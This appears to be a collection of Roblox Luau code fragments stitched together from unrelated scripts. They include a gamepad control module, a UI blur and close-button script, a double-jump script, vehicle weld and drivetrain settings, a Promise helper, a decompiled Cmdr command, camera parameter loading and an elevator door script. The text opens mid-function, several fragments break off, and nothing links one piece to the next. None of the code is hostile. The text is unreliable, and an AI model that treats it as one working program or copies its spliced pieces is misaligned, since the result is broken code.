end -- Set previous text previousText = script.Parent.TypeArea.Text end)
-- This function selects the lowest number gamepad from the currently-connected gamepad -- and sets it as the active gamepad
function Gamepad:GetHighestPriorityGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() local bestGamepad = NONE -- Note that this value is higher than all valid gamepad values for _, gamepad in pairs(connectedGamepads) do if gamepad.Value < bestGamepad.Value then bestGamepad = gamepad end end return bestGamepad end function Gamepad:BindContextActions() if self.activeGamepad == NONE then -- There must be an active gamepad to set up bindings return false end local handleJumpAction = function(actionName, inputState, inputObject) self.isJumping = (inputState == Enum.UserInputState.Begin) return Enum.ContextActionResult.Sink end local handleThumbstickInput = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Cancel then self.moveVector = ZERO_VECTOR3 return Enum.ContextActionResult.Sink end if self.activeGamepad ~= inputObject.UserInputType then return Enum.ContextActionResult.Pass end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if inputObject.Position.magnitude > thumbstickDeadzone then self.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y) else self.moveVector = ZERO_VECTOR3 end return Enum.ContextActionResult.Sink end ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA) ContextActionService:BindActionAtPriority("moveThumbstick", handleThumbstickInput, false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1) return true end function Gamepad:UnbindContextActions() if self.activeGamepad ~= NONE then ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end ContextActionService:UnbindAction("moveThumbstick") ContextActionService:UnbindAction("jumpAction") end function Gamepad:OnNewGamepadConnected() -- A new gamepad has been connected. local bestGamepad = self:GetHighestPriorityGamepad() if bestGamepad == self.activeGamepad then -- A new gamepad was connected, but our active gamepad is not changing return end if bestGamepad == NONE then -- There should be an active gamepad when GamepadConnected fires, so this should not -- normally be hit. If there is no active gamepad, unbind actions but leave -- the module enabled and continue to listen for a new gamepad connection. warn("Gamepad:OnNewGamepadConnected found no connected gamepads") self:UnbindContextActions() return end if self.activeGamepad ~= NONE then -- Switching from one active gamepad to another self:UnbindContextActions() end self.activeGamepad = bestGamepad self:BindContextActions() end function Gamepad:OnCurrentGamepadDisconnected() if self.activeGamepad ~= NONE then ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end local bestGamepad = self:GetHighestPriorityGamepad() if self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then warn("Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.") self:UnbindContextActions() self.activeGamepad = NONE return end if bestGamepad == NONE then -- No active gamepad, unbinding actions but leaving gamepad connection listener active self:UnbindContextActions() self.activeGamepad = NONE else -- Set new gamepad as active and bind to tool activation self.activeGamepad = bestGamepad ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end end function Gamepad:ConnectGamepadConnectionListeners() self.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum) self:OnNewGamepadConnected() end) self.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum) if self.activeGamepad == gamepadEnum then self:OnCurrentGamepadDisconnected() end end) end function Gamepad:DisconnectGamepadConnectionListeners() if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end end return Gamepad
--- Returns an ArgumentContext for the specific index
function Command:GetArgument (index) return self.Arguments[index] end
--I M P O R T A N T-- ------------------------------------------------------------------------ --Don't change any of this unless you know what you are doing. --This script is the blur affect but also the exit button script. ------------------------------------------------------------------------
local blur = game.Lighting.Blur local frame = script.Parent local close = script.Parent:WaitForChild("CloseButton") if frame.Visible == true then blur.Enabled = true end close.MouseButton1Click:Connect(function() frame.Visible = false blur.Enabled = false end)
--The "Creative" option makes it so you can jump infinitly (True if yes, False if no)
repeat wait() until Game:GetService("Players") local Player = Game.Players.LocalPlayer repeat wait() until Player local FirstJump = false local MidJump = false local Mouse = Player:GetMouse() TING = false function onKeyDown(key) if string.byte(key) == 32 and FirstJump == true and not TING and (MidJump == false or script.Creative.Value == true) then TING = true MidJump = true Player.Character.Torso.Velocity = Vector3.new(0,85,0) --How high Player jumps Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed script.Jump1:Play() wait(1.1) --Double Jump cooldown (Not normal jump) TING = false end end
-- upstream: https://github.com/facebook/react/blob/b61174fb7b09580c1ec2a8f55e73204b706d2935/packages/shared/ReactSymbols.js --!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
MakeWeld(misc.Popups.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Popups.Parts,misc.Popups.Hinge)
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 80 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 20 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 75 -- 1 - 100% Tune.RDiffLockThres = 25 -- 0 - 100% Tune.CDiffSlipThres = 80 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 20 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 0 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 15 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 6 -- Minimum amount of torque at max reduction (in percent)
--[=[ Initializes a new promise with the given function in a delay wrapper. @param seconds number @param func (resolve: (...) -> (), reject: (...) -> ()) -> ()? @return Promise<T> ]=]
function Promise.delay(seconds, func) assert(type(seconds) == "number", "Bad seconds") assert(type(func) == "function", "Bad func") local self = Promise.new() task.delay(seconds, func, self:_getResolveReject()) return self end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { Name = "runif", Aliases = {}, Description = "Runs a given command string if a certain condition is met.", Group = "DefaultUtil", Args = { { Type = "conditionFunction", Name = "Condition", Description = "The condition function" }, { Type = "string", Name = "Argument", Description = "The argument to the condition function" }, { Type = "string", Name = "Test against", Description = "The text to test against." }, { Type = "string", Name = "Command", Description = "The command string to run if requirements are met. If omitted, return value from condition function is used.", Optional = true } } }; local u1 = { startsWith = function(p1, p2) if p1:sub(1, #p2) ~= p2 then return; end; return p1:sub(#p2 + 1); end }; function v1.Run(p3, p4, p5, p6, p7) local v2 = u1[p4]; if not v2 then return ("Condition %q is not valid."):format(p4); end; local v3 = v2(p6, p5); if not v3 then return ""; end; return p3.Dispatcher:EvaluateAndRun(p3.Cmdr.Util.RunEmbeddedCommands(p3.Dispatcher, p7 and v3)); end; return v1;
--Settings
local MIN_FLIP_ANGLE = 70 --degrees from vertical
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
function OrbitalCamera:LoadNumberValueParameters() -- These initial values do not require change listeners since they are read only once self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil) self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil) -- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue) self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues) self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues) self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues) self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues) -- Internal values set (in radians, from degrees), plus sanitization self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"]) self.curElevationRad = math.rad(self.externalProperties["InitialElevation"]) self.curDistance = self.externalProperties["InitialDistance"] self:SetAndBoundsCheckAzimuthValues() self:SetAndBoundsCheckElevationValues() self:SetAndBoundsCheckDistanceValues() end function OrbitalCamera:GetModuleName() return "OrbitalCamera" end function OrbitalCamera:SetInitialOrientation(humanoid) if not humanoid or not humanoid.RootPart then warn("OrbitalCamera could not set initial orientation due to missing humanoid") return end local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector()) local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y) if not Util.IsFinite(horizontalShift) then horizontalShift = 0 end if not Util.IsFinite(vertShift) then vertShift = 0 end self.rotateInput = Vector2.new(horizontalShift, vertShift) end
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors.F06 then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors.F06.Position clicker = true end function DoorOpen() while Shaft05.MetalDoor.Transparency < 1.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency + .1 wait(0.000001) end Shaft05.MetalDoor.CanCollide = false end